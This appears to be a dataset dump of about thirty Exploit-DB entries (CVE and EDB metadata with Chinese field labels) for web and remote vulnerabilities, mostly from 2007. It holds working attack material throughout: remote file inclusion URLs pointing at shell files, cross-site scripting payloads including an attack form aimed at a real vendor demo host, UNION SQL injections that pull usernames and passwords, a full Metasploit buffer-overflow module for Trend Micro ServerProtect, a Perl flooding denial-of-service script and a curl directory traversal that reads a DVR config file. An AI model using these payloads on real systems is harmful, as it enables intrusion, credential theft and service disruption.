QLWD/code_shield huggingface dataset:
标题: Campsite 2.6.1 - 'ArticleData.php?g_documentRoot' Remote File Inclusion EDB-ID: 29970 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
    
Campsite is prone to multiple remote file-include vulnerabilities.
    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleData.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29970
标题: Advanced Guestbook 2.4.2 - 'picture.php' Cross-Site Scripting EDB-ID: 29965 CVE: 2007-0605 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23873/info

Advanced Guestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Advanced Guestbook 2.4.2; other versions may also be affected. 

http://www.example.com/picture.php?size[0]=1&size[1]=1&img=1&picture=[xss] URL: https://www.exploit-db.com/exploits/29965
标题: Campsite 2.6.1 - 'Alias.php?g_documentRoot' Remote File Inclusion EDB-ID: 29966 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info

Campsite is prone to multiple remote file-include vulnerabilities.

Exploiting this issue allows remote attackers to execute code in the context of the webserver.

This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Alias.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29966
标题: Campsite 2.6.1 - 'article.php?g_documentRoot' Remote File Inclusion EDB-ID: 29967 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
 
Campsite is prone to multiple remote file-include vulnerabilities.
 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Article.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29967
标题: Campsite 2.6.1 - 'ArticlePublish.php?g_documentRoot' Remote File Inclusion EDB-ID: 29973 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
       
Campsite is prone to multiple remote file-include vulnerabilities.
       
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
       
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticlePublish.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29973
标题: OTRS 2.0.4 - index.pl Cross-Site Scripting EDB-ID: 29962 CVE: 2007-2524 类型: WEBAPPS 平台: CGI 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23862/info

OTRS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects OTRS 2.0.4; other versions may also be affected. 

http://www.example.com/server/otre/index/pl?Action=AgentTicketMailbox&Subaction=[xss] URL: https://www.exploit-db.com/exploits/29962
标题: SunShop Shopping Cart 4.0 - 'index.php?l' Cross-Site Scripting EDB-ID: 29961 CVE: 2007-2547 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23856/info
 
TurnkeyWebTools SunShop Shopping Cart is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, bypass the authentication mechanism, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
SunShop Shopping Cart v4 is reported vulnerable; other versions may also be affected. 

<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="l" size=75 value="<script %0a%0d>alert(1);</script>">
<input name="remove[0]" type="hidden" value="off">
<input name="quantity[0:49]" type="hidden" value="1">
<input name="remove[1]" type="hidden" value="off">
<input name="quantity[1:50]" type="hidden" value="1">
<input name="remove[2]" type="hidden" value="off">
<input name="quantity[2:55]" type="hidden" value="1">
<input name="remove[3]" type="hidden" value="off">
<input name="quantity[3:42]" type="hidden" value="1">
<input name="remove[4]" type="hidden" value="off">
<input name="quantity[4:51]" type="hidden" value="1">
<input name="coupon" type="hidden" value="email@address.com">
<input type=submit value="Execute Attack on variable 'l' in index.php" class="button">
</form> URL: https://www.exploit-db.com/exploits/29961
标题: Campsite 2.6.1 - 'ArticleAttachment.php?g_documentRoot' Remote File Inclusion EDB-ID: 29968 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
  
Campsite is prone to multiple remote file-include vulnerabilities.
  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleAttachment.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29968
标题: Trend Micro ServerProtect 5.58 - 'SpntSvc.exe' Remote Stack Buffer Overflow EDB-ID: 29964 CVE: 2007-2508 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23868/info

Trend Micro ServerProtect is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows attackers to execute arbitrary machine code with SYSTEM-level privileges and to completely compromise affected computers. Failed exploit attempts will result in a denial of service.

##
# $Id: trendmicro_serverprotect_createbinding.rb 5100 2007-09-10 01:01:20Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Antivirus::Trendmicro_Serverprotect_Createbinding < Msf::Exploit::Remote

 include Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
    By sending a specially crafted RPC request, an attacker could overflow the
    buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 5100 $',
   'References'     =>
    [
     ['BID', '23868'],
     ['CVE', '2007-2508'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        => 
    [
     [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 7 2007'))
   
   register_options( [ Opt::RPORT(5168) ], self.class )
 end

 def exploit
  connect
  handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  filler << [target.ret].pack('V') + payload.encoded
  filler << rand_text_english(1400 - payload.encoded.length)

  len    = filler.length
  
  sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)

  print_status("Trying target #{target.name}...")
   
   begin
    dcerpc_call(0, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
   end
  
  handler
  disconnect
 end

end
end URL: https://www.exploit-db.com/exploits/29964
标题: Campsite 2.6.1 - 'ArticleImage.php?g_documentRoot' Remote File Inclusion EDB-ID: 29971 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
     
Campsite is prone to multiple remote file-include vulnerabilities.
     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleImage.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29971
标题: ObieWebsite Mini Web Shop 2 - 'Sendmail.php?PATH_INFO' Cross-Site Scripting EDB-ID: 29957 CVE: 2007-2532 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/23847/info
 
Mini Web Shop is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
This issue affects Mini Web Shop 2; other versions may also be affected.
 
http://remote-server/path/modules/sendmail.php/[xss] URL: https://www.exploit-db.com/exploits/29957
标题: ObieWebsite Mini Web Shop 2 - 'order_form.php?PATH_INFO' Cross-Site Scripting EDB-ID: 29956 CVE: 2007-2532 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/23847/info

Mini Web Shop is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

This issue affects Mini Web Shop 2; other versions may also be affected.

http://remote-server/path/modules/order_form.php/[xss] URL: https://www.exploit-db.com/exploits/29956
标题: FipsCMS 2.1 - 'pid' SQL Injection EDB-ID: 29958 CVE: 2007-2561 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23850/info

fipsCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

fipsCMS 2.1 and prior versions are vulnerable to this issue. 

http://www.example.com/home/index.asp?pid='/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9/**/from/**/pidRoot/**/ URL: https://www.exploit-db.com/exploits/29958
标题: Apple 2.0.4 - Safari Local Cross-Site Scripting EDB-ID: 29950 CVE: 2007-2580 类型: LOCAL 平台: OSX 发布日期: 2007-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/23825/info

Apple Safari is prone to an unspecified local vulnerability.

tell application "Safari"
        do JavaScript "alert(document.loginform.password.value)" in document 1
end tell URL: https://www.exploit-db.com/exploits/29950
标题: TVT TD-2308SS-B DVR - Directory Traversal EDB-ID: 29959 CVE: 2013-6023 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-12-01 漏洞利用脚本: # Exploit Title: TVT TD-2308SS-B DVR directory traversal
# Shodan Dork: "Cross Web Server"
# Date: 01 Dec 2013
# Disclosure date: 10 Sep 2013
# Exploit Author: Cesar Neira
# Vendor Homepage: http://en.tvt.net.cn/
# Affected Firmware Versions:
3.1.43.B
3.1.43.P
3.1.6.P-1.0.2.1-03
3.1.75.B-1.0.2.1-00
3.1.7.B-1.0.2.1-00
3.1.81.B-1.0.2.1-00
3.1.83.B-1.0.2.1-00
3.1.83.P-1.0.4.2-03
3.1.87.P-1.0.4.2-17
3.1.91.P-1.0.2.1-03
3.1.92.P-1.0.2.1-00
3.1.93.B-1.0.2.1-17
3.2.0.B-1.0.2.1-17
3.2.0.P-1.0.2.1-03
3.2.0.P-1.0.2.1-17
3.2.0.P-1.0.6.0.32-00
3.2.0.P-3520A-00
3.2.0.P-3520A-03
3.2.0.P-3531-00
3.2.0.P-3531-11
3.2.0.P-FH-00
3.2.9.P-3520A-06
maybe others.
# Tested on: TVT DVR TD-2308SS-B
# CVE : CVE-2013-6023
# References:
http://www.kb.cert.org/vuls/id/785838
http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html

POC:

curl http://[IP Address]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings

-- 
Cesar Neira <csar.1603@gmail.com>
http://alguienenlafisi.blogspot.com
Root-Node


Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29959.nse URL: https://www.exploit-db.com/exploits/29959
标题: Progress WebSpeed 3.0/3.1 - Denial of Service EDB-ID: 29943 CVE: 2007-2506 类型: DOS 平台: WINDOWS 发布日期: 2007-05-02 漏洞利用脚本: //source: https://www.securityfocus.com/bid/23778/info
//
//WebSpeed is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.
//
//Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users. 

if(!$ARGV[0]){
        print "U.LP.O.W\n";
        print "www.ulpow.net\n";
        print "The Eliminators of the Web\n";
        print "Usage:perl webspeed.pl targetsite targetpage\n";

} else {

$site = $ARGV[0];
$page = $ARGV[1];

print "Attack Started\n";

$ish=1;

do {
$ish++;
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $site,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Couldn't Connect to target please check again
address!\n";
print $socket "GET $page HTTP/1.0\r\n";
close($socket);
} while ($ish < 1000);

print ":-; Attack Complete\n";
} URL: https://www.exploit-db.com/exploits/29943
标题: ELinks Relative 0.10.6/011.1 - Path Arbitrary Code Execution EDB-ID: 29954 CVE: 2007-2027 类型: LOCAL 平台: LINUX 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23844/info

ELinks is prone to an arbitrary code-execution vulnerability.

An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application.

This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.

This issue affects ELinks 0.11.1; other versions may also be vulnerable. 

$ mkdir -p /tmp/elinks/{run,po}
$ cp /usr/share/locale/fr/LC_MESSAGES/elinks.mo /tmp/elinks/po/fr.gmo
$ dd if=/dev/urandom of=/tmp/elinks/po/fr.gmo bs=1024 seek=1 count=200
$ cd /tmp/elinks/run URL: https://www.exploit-db.com/exploits/29954
标题: Microsoft SharePoint Server 3.0 - Cross-Site Scripting EDB-ID: 29951 CVE: 2007-2581 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/23832/info

Microsoft SharePoint Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks. 

http://www.example.com/sharepoint/default.aspx/%22);}if(true){alert(%22qwertytis URL: https://www.exploit-db.com/exploits/29951
标题: CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection EDB-ID: 29941 CVE: 2007-2473 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/23753/info


CMS Made Simple is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

CMS Made Simple 1.05 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/stylesheet.php?templateid=16+AND+1=1
http://www.example.com/stylesheet.php?templateid=16+AND+1=0 URL: https://www.exploit-db.com/exploits/29941
标题: X.Org X Window System Xserver 1.3 - XRender Extension Divide by Zero Denial of Service EDB-ID: 29939 CVE: 2007-2437 类型: DOS 平台: LINUX 发布日期: 2007-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/23741/info

X.Org X Window System Xserver is prone to a denial-of-service vulnerabilty because the software fails to properly handle exceptional conditions.

Attackers who can connect to a vulnerable X server may exploit this issue to crash the targeted server, denying futher service to legitimate users.

X.Org X Window System Xserver 1.3.0 is vulnerable to this issue; other versions may also be affected. 

pTraps[0].top = 13275;
pTraps[0].bottom = 26791;
pTraps[0].left.p1.x = 26765;
pTraps[0].left.p1.y = 13802;
pTraps[0].left.p2.x = 48451;
pTraps[0].left.p2.y = 1366;
pTraps[0].right.p1.x = 45782;
pTraps[0].right.p1.y = 14369;
pTraps[0].right.p2.x = 50685;
pTraps[0].right.p2.y = 3518;

pTraps[1].top = 52058;
pTraps[1].bottom = 56949;
pTraps[1].left.p1.x = 7641;
pTraps[1].left.p1.y = 35604;
pTraps[1].left.p2.x = 18593;
pTraps[1].left.p2.y = 60832;
pTraps[1].right.p1.x = 45277;
pTraps[1].right.p1.y = 1073;
pTraps[1].right.p2.x = 51659;
pTraps[1].right.p2.y = 1073;

pTraps[2].top = 53368;
pTraps[2].bottom = 18772;
pTraps[2].left.p1.x = 34644;
pTraps[2].left.p1.y = 11603;
pTraps[2].left.p2.x = 24261;
pTraps[2].left.p2.y = 13272;
pTraps[2].right.p1.x = 54806;
pTraps[2].right.p1.y = 46200;
pTraps[2].right.p2.x = 5052;
pTraps[2].right.p2.y = 22005; URL: https://www.exploit-db.com/exploits/29939
标题: Gazi Download Portal - 'Down_Indir.asp' SQL Injection EDB-ID: 29933 CVE: 2007-2810 类型: WEBAPPS 平台: ASP 发布日期: 2007-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/23714/info

Gazi Download Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/down_indir.asp?id=1+union+select+0,adminsifre,2,3,4,5,6,7+from+ayarlar URL: https://www.exploit-db.com/exploits/29933
标题: E-Annu - 'home.php' SQL Injection EDB-ID: 29938 CVE: 2007-2416 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/23727/info

E-Annu is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/home.php?a='/**/UNION/**/SELECT/**/0,password,1,2,3,4,6/**/FROM/**/user/**/WHERE/**/user_id=1/* URL: https://www.exploit-db.com/exploits/29938
标题: ManageEngine Password Manager Pro Build 5401 - Database Remote Unauthorized Access EDB-ID: 29931 CVE: 2007-2429 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/23693/info

ManageEngine Password Manager Pro is prone to a remote unauthorized-access vulnerability due to a design error.

An attacker may leverage this issue to gain unauthorized access to the application's database with administrative privileges. Successful exploits will result in a complete compromise of vulnerable applications and may aid in further attacks.

ManageEngine Password Manager Pro Free edition is vulnerable; other versions may also be affected. 

$mysql -h example.com --port 2345 -u root URL: https://www.exploit-db.com/exploits/29931
标题: Aventail Connect 4.1.2.13 - Hostname Remote Buffer Overflow EDB-ID: 29937 CVE: 2007-2434 类型: DOS 平台: WINDOWS 发布日期: 2007-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/23717/info

Aventail Connect is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts wlll result in a denial of service.

This issue affects Aventail Connect 4.1.2.13; other versions may also be affected. 

ssh $(perl -e 'print 'a'x2200') URL: https://www.exploit-db.com/exploits/29937
标题: Burak Yilmaz Blog 1.0 - 'BRY.asp' SQL Injection EDB-ID: 29929 CVE: 2007-2420 类型: WEBAPPS 平台: ASP 发布日期: 2007-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23678/info

Burak Yilmaz Blog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Burak Yilmaz Blog 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/bry.asp?islem=yazidevam&id=-1+union+select+0,0,0,0,0,0,sifre,0+from+admin URL: https://www.exploit-db.com/exploits/29929
标题: Apache AXIS 1.0 - Non-Existent WSDL Path Information Disclosure EDB-ID: 29930 CVE: 2007-2353 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/23687/info

Apache AXIS is prone to a path-information-disclosure vulnerability. Remote unauthorized attackers may be able to determine webserver directory paths.

Information obtained may aid attackers in launching further attacks against an affected server.

Apache AXIS 1.0 is vulnerable to this issue. 

http://www.example.com/axis/tt_pm4l.jws?wsdl URL: https://www.exploit-db.com/exploits/29930
标题: Doruk100Net - 'Info.php' Remote File Inclusion EDB-ID: 29914 CVE: 2007-2288 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23675/info

Doruk100Net is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/info.php?file=http://shell
http://victim/info.php?file=http://shell URL: https://www.exploit-db.com/exploits/29914
标题: HTMLEditBox 2.2 - 'config.php' Remote File Inclusion EDB-ID: 29910 CVE: 2007-2327 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23664/info

htmlEditbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to execute malicious PHP code in the context of the webserver. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

htmlEditbox 2.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/_editor.php?settings[app_dir]=http://shell URL: https://www.exploit-db.com/exploits/29910
标题: HYIP Manager Pro - Multiple Remote File Inclusions EDB-ID: 29909 CVE: 2007-2326 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/23663/info

HYIP Manager Pro is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/inc/libs/Smarty_Compiler.class.php?plugin_file=http://www,example2.com URL: https://www.exploit-db.com/exploits/29909